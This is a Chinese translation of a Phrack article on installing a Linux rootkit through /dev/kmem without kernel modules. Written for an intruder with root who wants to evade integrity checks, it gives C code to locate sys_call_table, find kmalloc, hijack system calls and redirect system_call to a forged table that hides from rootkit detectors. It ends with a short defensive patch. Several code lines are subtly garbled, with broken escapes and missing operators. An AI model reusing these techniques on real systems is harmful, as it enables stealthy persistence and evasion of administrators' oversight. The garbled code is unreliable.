Linux on-the-fly kernel patching without LKM


Linux on-the-fly kernel patching without LKM


创建时间:2002-01-31
文章属性:转载
文章来源:http://www.linuxaid.com.cn


Linux on-the-fly kernel patching without LKM


这篇文章的原文是Phrack58-0x07 Linux on-the-fly kernel patching without LKM,其中提出了一种不借助LKM(Loadable Kernel Module),直接修改系统调用实现Rootkit的技术。在阅读本文时,最好能够对照原文和实现这项技术的代码,以免译者可能出现的理解错误给您造成 误解:)。


作者:sd&devik
翻译:nixe0n

1.简介


开始,我们要感谢Silvio Cesare,是他在很久以前就实现了内核修改技术,本文的大部分想法都是窃取他的成果。

本文,我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解,请参考本文列举的参考资料。

首先,我们设想一下,如果一个可怜的家伙进入了一个系统获得了root权限,但是系统管理员非常精明,使用某些数据完整性检测工具使攻击者不能神不知鬼不 觉地安装自己修改过的木马sshd,而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P),使攻击者无法编译自己的LKM rookit。这可怎么办?本文将一步步地告诉你如何解决这个问题,另外在本文的结尾提供了完整的Linux-ia32 rootkit,在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n)

本文讲述的技术只能用于用于ia32架构。

2./dev/kmem是我们的朋友

mem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。

未曾开始先来一段语录:),来自Linux手册页(man mem)

有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching,这里只是简要地介绍一个片段:

本文中,所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限,因此只有root才能实 现这些操作.注意:只是修改/dev/kmem的权限,无法让普通用户获得对它的修改权限,因为即使虚拟文件系统允许普通用户访问/dev/kmem,内 核还会对进程进行第二次检查(在device/char/mem.c中),检查进程是否具有CAP_SYS_RAWIO能力(capability)。


除/dev/kmem设备之外,/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置,通过这个设备也可能达到修改系统内核的目的。在本文中,我们不讨论这种可能性。

在代码中,针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现,非常简单。下面是实现上述功能的函数:


/* 从kmem中读取数据 */
static inline int rkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (read(fd, buf, size) != size) return 0;
        return size;
}

/* 向kmem中写入数据 */
static inline int wkm(int fd, int offset, void *buf, int size)
{
        if (lseek(fd, offset, 0) != offset) return 0;
        if (write(fd, buf, size) != size) return 0;
        return size;
}

/* 从kmem读出一个整数 */
static inline int rkml(int fd, int offset, ulong *buf)
{
        return rkm(fd, offset, buf, sizeof(ulong));
}

/* 向kmem写入一个整数 */
static inline int wkml(int fd, int offset, ulong buf)
{
        return wkm(fd, offset, &buf, sizeof(ulong));
}




3.替代系统调用


我们知道,从用户空间的角度看,系统调用在Linux中,是最底层的系统函数,因此系统调用是我们最感兴趣的东西。在Linux内核中,系统调用被集合到 一个表中(sys_call_table),这是个一维数组,保存256个指针,使用系统调用号作为索引定位调用的入口点。仅此而已。

我们首先看一下下面这段伪代码:


/* as everywhere, "Hello world" is good for begginers ;-) */

/* 原来的系统调用 */
int (*old_write) (int, char *, int);
/* 新系统调用处理函数 */
new_write(int fd, char *buf, int count) {
  if (fd == 1) { /* 标准输出设备 ? */
    old_write(fd, "Hello world!/n", 13);
    return count;
  } else {
    return old_write(fd, buf, count);
  }
}

old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */
sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */


这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到,我们可以通过这种方式修改sys_call_table[],而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。

好了,到此为止,我们想这恐怕已经足够了。


3.1.没有LKM如何获得sys_call_table[]的位置

首先,要注意一点,如果在编译时不支持LKM,Linux内核将不会维护任何的符号信息。这是一个明智的选择,不支持LKM,还有什么使用这些信息的理 由?为了调试?System.map可以用于调试。当然,我们需要这些符号信息:)。如果内核支持LKM,LKM需要的符号就会被导入它们的特定连接片 段。但是,我们说过,不支持LKM,这怎么办?

据我们所知,要获取sys_call_table[]的位置,最聪明的方式是这样的:


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct {
        unsigned short limit;
        unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flags;
        unsigned short off2;
} __attribute__ ((packed)) idt;

int kmem;
void readkmem (void *m,unsigned off,int sz)
{
        if (lseek(kmem,off,SEEK_SET)!=off) {
                perror("kmem lseek"); exit(2);
        }
        if (read(kmem,m,sz)!=sz) {
                perror("kmem read"); exit(2);
        }
}

#define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */
main ()
{
        unsigned sys_call_off;
        unsigned sct;
        char sc_asm[CALLOFF],*p;

        /* 获得IDTR寄存器的值 */
        asm ("sidt %0" : "=m" (idtr));
        printf("idtr base at 0x%X/n",(int)idtr.base);

        /* 打开kmem */
        kmem = open ("/dev/kmem",O_RDONLY);
        if (kmem<0) return 1;

        /* 从IDT读出0x80向量 (syscall) */
        readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
        sys_call_off = (idt.off2 << 16) | idt.off1;
        printf("idt80: flags=%X sel=%X off=%X/n",
                (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

        /* 寻找sys_call_table的地址 */
        readkmem (sc_asm,sys_call_off,CALLOFF);
        p = (char*)memmem (sc_asm,CALLOFF,"/xff/x14/x85",3);
        sct = *(unsigned*)(p+3);
        if (p) {
                printf ("sys_call_table at 0x%x, call dispatch at 0x%x/n",
                        sct, p);
        }
        close(kmem);
}


下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置,从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。

然后我们使用[sys_call_off = (idt.off2 << 16) | idt.off1;]计算出int $0x80的入口点(system_call函数的地址)。但是,我们想知道的是sys_call_table[]的位置。我们先看一下 system_call函数反汇编后的代码。你如果使用自己编译的内核,那么每次编译完成后,都会产生一个叫做vmlinux的文件。使用这个文件可以找 出内核符号的地址。


[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>: push %eax
0xc0106bc9 <system_call+1>: cld
0xc0106bca <system_call+2>: push %es
0xc0106bcb <system_call+3>: push %ds
0xc0106bcc <system_call+4>: push %eax
0xc0106bcd <system_call+5>: push %ebp
0xc0106bce <system_call+6>: push %edi
0xc0106bcf <system_call+7>: push %esi
0xc0106bd0 <system_call+8>: push %edx
0xc0106bd1 <system_call+9>: push %ecx
0xc0106bd2 <system_call+10>: push %ebx
0xc0106bd3 <system_call+11>: mov $0x18,%edx
0xc0106bd8 <system_call+16>: mov %edx,%ds
0xc0106bda <system_call+18>: mov %edx,%es
0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
0xc0106be1 <system_call+25>: and %esp,%ebx
0xc0106be3 <system_call+27>: cmp $0x100,%eax
0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- 就是它
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18 <-- 看到了吗?一样
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- 机器指令 (little endian)
(gdb)


从上面的试验可以看出,只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了。而且,各种x86架构的Linux内核(至少从2.0.10到2.4.10是如 此)基本都是通过这条指令来传递系统调用的。call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x调用地址,因此我们可以使用模式匹配的方式获得条指令的地址:


memmem (sc_asm,CALLOFF,"/xff/x14/x85",3); /*从system_call的位置开始搜索*/


除了这种方法,可能存在更为健壮的处理方式。这里我们只是简单地获得int $0x80处理函数中某条简单指令的地址。如果考虑内核的重入性问题,就复杂了。

到此为止,我们获得了sys_call_table[]的位置,这样我们就可以修改某些系统调用的地址了,下面是相关的伪代码:


readkmem(&old_write, sct + __NR_write * 4, 4); /* 保存旧的系统调用 */
writekmem(new_write, sct + __NR_write * 4, 4); /* 设置新的系统调用 */



3.2.修改system_call的调用地址

在撰写本文时,我们在Packetstorm/Freshmeat发现了一些所谓的rootkit检测器。它们能够检测LKM、系统调用表和内核其它部分 的错误。不过幸运的是,绝大多数此类工具都非常愚蠢,只要略施小计就可以骗过它们,请参考文献[6],绿色兵团的大鹰也有一篇讨论这项技术的文章。我们建 立一个新的系统调用表,根本不修改原来的sys_call_table[]数组里面的任何内容,然后把system_call函数的调用地址修改为新的系 统调用表就可以了。这样,那些通过检查系统调用实现函数的地址的rootkit检测工具(例如:kstat)就根本无法察觉系统调用已经被修改了,因为我 们根本就没有修改过sys_call_table[]里面的任何东西,只是将其废弃不用而已。具体过程可以使用如下伪代码描述:


ulong sct = addr of sys_call_table[]
char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
ulong nsct[256] = new syscall table with modified entries

readkmem(nsct, sct, 1024); /* read old */
old_write = nsct[__NR_write];
nsct[__NR_write] = new_write;
/* 使用我们自己的系统调用表 */
  writekmem((ulong) p+3, nsct, 4);

/* Note that this code never can work, because you can't
  redirect something kernel related to userspace, such as
  sct[] in this case */


在这段代码中,我们建立了sys_call_table[]的一个拷贝[readkmem(nsct, sct,1024);],然后保存并修改我们感兴趣的调用入口[old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;],接着只要修改system_call函数中call <地址>(,eax,4)指令调用的地址,就可以实现系统调用的重定向:


0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
                                        ~~~~|~~~~~
                                            |__ 这就是我们自己的系统调用表地址


LKM检测工具一般不会检查system_call函数的内容(以后很可能会的),因此根本无法察觉,sys_call_table[]还在那里,我们没有做任何的修改,只是system_call函数已经不再用它了:)。



4.获得内核空间的内存


下面,我们要做的就是获得地址在0xc0000000或者0x80000000以上的内存,0xc0000000是用户内存空间和内核内存空间的边界,用 户进程无法访问地址高于0x80000000的内存地址,即使是root用户也不行。那么,我们又该怎么做呢?别着急,让我们首先看看支持LKM的内核是 怎么做的(/usr/src/linux/kernel/module.c);


void inter_module_register(const char *im_name, struct module *owner,
                           const void *userdata)
{
        struct list_head *tmp;
        struct inter_module_entry *ime, *ime_new;

        if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
                /* Overloaded kernel, not fatal */
        ...


不出我们所料,它们使用kmalloc(size, GFP_KERNEL)函数来分配内核空间的内存。但是,我们不能使用kmalloc()函数,因为:



我们不知道kmalloc()函数的地址


我们不知道GFP_KERNEL的值


我们不能在用户空间调用kmalloc()函数



4.1.如果有LKM支持如何获得kmalloc()的地址

如果系统提供LKM支持,可以使用如下代码找到kmalloc函数的地址:


ulong get_sym(char *n) {
        struct kernel_sym tab[MAX_SYMS];
        int numsyms;
        int i;

        numsyms = get_kernel_syms(NULL);
        if (numsyms > MAX_SYMS' 'numsyms < 0) return 0;
        get_kernel_syms(tab);
        for (i = 0; i < numsyms; i++) {
                if (!strncmp(n, tab[i].name, strlen(n)))
                        return tab[i].value;
        }
        return 0;
}

ulong get_kma(ulong pgoff)
{
        ret = get_sym("kmalloc");
        if (ret) return ret;
        return 0;
}


这段代码我们就不多做说明了。


4.2.通过模式匹配搜索kmalloc()函数的地址

但是,如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:


push GFP_KERNEL <something between 0-0xffff>
push size <something between 0-0x1ffff>
call kmalloc


然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址,下面是实现代码:


#define RNUM 1024
ulong get_kma(ulong pgoff)
{
        struct { uint a,f,cnt; } rtab[RNUM], *t;
        uint i, a, j, push1, push2;
        uint found = 0, total = 0;
        uchar buf[0x10010], *p;
        int kmem;
        ulong ret;

        /* 在使用我们自己的方式之前,试一下正确的方法是否可行 */
        ret = get_sym("kmalloc");
        if (ret) return ret;

        /* humm, no way ;)) */
        kmem = open(KMEM_FILE, O_RDONLY, 0);
        if (kmem < 0) return 0;
        for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
             i += 0x10000) {
                if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
                /* 寻找push和call指令 */
                for (p = buf; p < buf + 0x10000;) {
                        switch (*p++) {
                                case 0x68:
                                        push1 = push2;
                                        push2 = *(unsigned*)p;
                                        p += 4;
                                        continue;
                                case 0x6a:
                                        push1 = push2;
                                        push2 = *p++;
                                        continue;
                                case 0xe8:
                                        if (push1 && push2 &&
                                            push1 <= 0xffff &&
                                            push2 <= 0x1ffff) break;
                                default:
                                        push1 = push2 = 0;
                                        continue;
                        }
                        /* 我们获得了push1/push2/call序列,再寻找地址 */
                        a = *(unsigned *) p + i + (p - buf) + 4;
                        p += 4;
                        total++;
                        /* 在表中找 */
                        for (j = 0, t = rtab; j < found; j++, t++)
                                if (t->a == a && t->f == push1) break;
                        if (j < found)
                                t->cnt++;
                        else
                                if (found >= RNUM) {
                                        return 0;
                                }
                                else {
                                        found++;
                                        t->a = a;
                                        t->f = push1;
                                        t->cnt = 1;
                                }
                        push1 = push2 = 0;
                } /* for (p = buf; ... */
        } /* for (i = (pgoff + 0x100000) ...*/
        close(kmem);
        t = NULL;
        for (j = 0;j < found; j++) /* find a winner */
                if (!t' 'rtab[j].cnt > t->cnt) t = rtab+j;
        if (t) return t->a;
        return 0;
}


这个代码只是一个简单的state machine,它没有考虑由某些GCC编译选项造成的汇编代码布局的差异。修改switch的选项,可以把它用于其它代码模式的搜索。并且如果增加对GFP值的查询,可以增加其准确程度。

这个代码的精确度能够达到大约80%左右,并且可以广泛地用于2.2.1->2.4.13的内核。


4.3.GFP_KERNEL的值

我们将要遇到的下一个问题是GFP_KERNEL的值在每个内核系列中是不同的,这个问题可以通过uname()函数解决。


+-----------------------------------+
| kernel version | GFP_KERNEL value |
+----------------+------------------+
| 1.0.x .. 2.4.5 | 0x3 |
+----------------+------------------+
| 2.4.6 .. 2.4.x | 0x1f0 |
+----------------+------------------+


注意:在2.4.7-2.4.9的内核中,有时会因为错误的GFP_KERNEL造成调用不成功。

代码:


#define NEW_GFP 0x1f0
#define OLD_GFP 0x3

/* uname struc */
struct un {
        char sysname[65];
        char nodename[65];
        char release[65];
        char version[65];
        char machine[65];
        char domainname[65];
};

int get_gfp()
{
        struct un s;
        uname(&s);
        if ((s.release[0] == '2') && (s.release[2] == '4') &&
            (s.release[4] >= '6' ||
            (s.release[5] >= '0' && s.release[5] <= '9'))) {
                return NEW_GFP;
        }
        return OLD_GFP;
}



4.4.覆盖系统调用

我们前面说过,我们不能直接从用户空间调用kmalloc()函数,这个问题可以从Silvio的文章中找到答案[参考文献2]。


1.获得某些系统调用实现的地址(IDT -> int 0x80 -> sys_call_table)。

2.建立一个例程调用kmalloc()函数并返回一个内存指针。

3.由于某个系统调用要被覆盖,因此我们需要保存将被覆盖掉的内容。

4.使用我们自己的例程覆盖原来的系统调用实现。

5.通过int $0x80在用户空间调用这个系统调用,这个例程就会把获得的内存指针返回给我们。

6.利用3.保存的内容恢复原来的系统调用。


我们自己的系统调用如下:


struct kma_struc {
        ulong (*kmalloc) (uint, int);
        int size;
        int flags;
        ulong mem;
} __attribute__ ((packed));

int our_routine(struct kma_struc *k)
{
        k->mem = k->kmalloc(k->size, k->flags);
        return 0;
}


现在,我们获得了内核空间的内存,可以把我们自己的系统调用实现复制到这块内存中,然后修改伪造的sys_call_table数组,伪造系统调用的入口。



5.一些需要注意的事项


在使用这个技术时,最好能够注意以下事项:



注意内核的版本(我们是指GFP_KERNEL)。


如果想是其能够用于不同的内核,最好只修改系统调用,不要涉及到其它的任何内核数据结构包括tash_struct。


这个技术用于SMP可能造成一些麻烦,注意内核的重入问题,在需要的地方使用用户空间的锁。




6.可能的解决方法


好了,现在我们站在一个好人的角度上,看看怎样才能防止这种攻击。使用下面的补丁,把/dev/kmem设备的属性改为只读,并且取消LKM支持可以解决这个问题。


<++> kmem-ro.diff
--- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
        ssize_t written;
+ /* disable kmem write */
+ return -EPERM;

  written = 0;
  #if defined(__sparc__)' 'defined(__mc68000__)
<-->


注意:这个补丁可能造成一些需要写/dev/kmem内核权限的应用程序无法正常运行,不过,为了安全这是值得的。


7.结论


Linux的内存设备看起来非常强大,但是攻击者同样可以使用这些设备来长时间地隐藏自己的行为,窃取信息,保证自己的远程访问权限,而不被发现。我们所知,这些设备并没有太大用处,因此关闭对它们进行写操作的能力是个好注意。


参考资料


[1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
     [http://www.big.net.au/~silvio]

[2] Silvio's article describing run-time kernel patching (System.map)
     [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]

[3] QuantumG's homepage, mostly virus related stuff
     [http://biodome.org/~qg]

[4] "Abuse of the Linux Kernel for Fun and Profit" by halflife
     [Phrack issue 50, article 05]

[5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
      for hackers, virus coders and system administrators."
     [http://www.thehackerschoice.com/papers]

你可能感兴趣的:(linux,struct,Module,table,System,linux内核)